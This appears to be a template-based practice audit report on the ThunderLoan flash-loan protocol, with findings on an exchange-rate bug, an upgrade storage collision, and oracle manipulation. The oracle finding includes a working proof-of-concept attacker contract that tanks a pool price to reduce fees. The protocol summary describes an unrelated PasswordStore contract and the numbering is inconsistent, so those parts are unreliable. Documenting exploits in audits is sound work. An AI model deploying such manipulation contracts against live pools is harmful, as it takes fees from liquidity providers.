Prepared by: Sakithiya Lead Auditors :

- xxxxxxx

Table of Contents

Protocol Summary

PasswordStore is aprotocol dedicated to storage and retrieval of a user's passwords/ The protocol is designed to be used by a single user. and is not designed to be used by multiple users. Oly the owwner should be able to set and access this password.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Likelihood vs Impact	High	Medium	Low
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```

```

Scope

```
src
#-- ThunderLoan.sol
```

Roles

Executive Summary

Add some notes about how the audit went, types of things you fiynd and so.

Issues found

Severity	Number of issues Found
High	2
Medium	1
Low	0
Info	0
Total	3

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchange` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the exchangeRate is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the deposit function updates this rate without collecting any fees!

```
function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    // @Audit-High
@>  // uint256 calculatedFee = getCalculatedFee(token, amount);
@>  // assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact: There are several impacts to this bug.

The redeem function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.

Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concept:

- LP deposits
- User takes out a flash loan
- It is now impossible for LP to redeem

Place the following into ThunderLoanTest.t.sol:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);
    tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
```

```
    vm.startPrank(user);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
amountToBorrow, "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
}
```

Recommended Mitigation: Remove the incorrect updateExchangeRate lines from deposit

```
function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-3] Mixing up variable location causes storage collisions in ThunderLoan:😒_flashLoanFee and ThunderLoan:😒_currentlyFlashLoaning

Description: `ThunderLoan.sol` has two variables in the following order: `javascript uint256 private s_feePrecision; uint256 private s_flashLoanFee; // 0.3% ETH fee` However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order. `javascript uint256 private s_flashLoanFee; // 0.3% ETH fee uint256 public constant FEE_PRECISION = 1e18;` Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

▶ Code

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In ThunderLoanUpgraded.sol:

- uint256 private s_flashLoanFee; // 0.3% ETH fee
- uint256 public constant FEE_PRECISION = 1e18;

- uint256 private s_blank;
- uint256 private s_flashLoanFee;
- uint256 public constant FEE_PRECISION = 1e18;

Medium

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

User takes a flash loan from ThunderLoan for 1000 tokenA. They are charged the original fee fee1. During the flash loan, they do the following:

User sells 1000 tokenA, tanking the price.

Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA.

Due to the fact that the way ThunderLoan calculates price based on the TSwapPool this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken =
IPoolFactory(s_poolFactory).getPool(token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

3. The user then repays the first flash loan, and then repays the second flash loan. Add the following to ThunderLoanTest.t.sol.

Proof of code

```
function testOracleManipulation() public {
    // 1. Setup contracts
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
```

```
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        // Create a TSwap Dex between WETH/ TokenA and initialize Thunder Loan
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18,
    block.timestamp);
        vm.stopPrank();

        // 3. Fund ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(thunderLoan), 100e18);
        thunderLoan.deposit(tokenA, 100e18);
        vm.stopPrank();

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console2.log("Normal Fee is:", normalFeeCost);

        // 4. Execute 2 Flash Loans
        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
            address(tswapPool), address(thunderLoan),
    address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); // the
    executeOperation function of flr will
            // actually call flashloan a second time.
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console2.log("Attack Fee is:", attackFee);
        assert(attackFee < normalFeeCost);
    }

    contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
        ThunderLoan thunderLoan;
        address repayAddress;
        BuffMockTSwap tswapPool;
        bool attacked;
        uint256 public feeOne;
```

```
    uint256 public feeTwo;

    // 1. Swap TokenA borrowed for WETH
    // 2. Take out a second flash loan to compare fees
    constructor(address _tswapPool, address _thunderLoan, address
_repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought =
tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // Tanks the price:
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
wethBought, block.timestamp);
            // Second Flash Loan!
            thunderLoan.flashloan(address(this), IERC20(token), amount,
"");
            // We repay the flash loan via transfer since the repay
function won't let us!
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // We repay the flash loan via transfer since the repay
function won't let us!
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low

Informational

Gas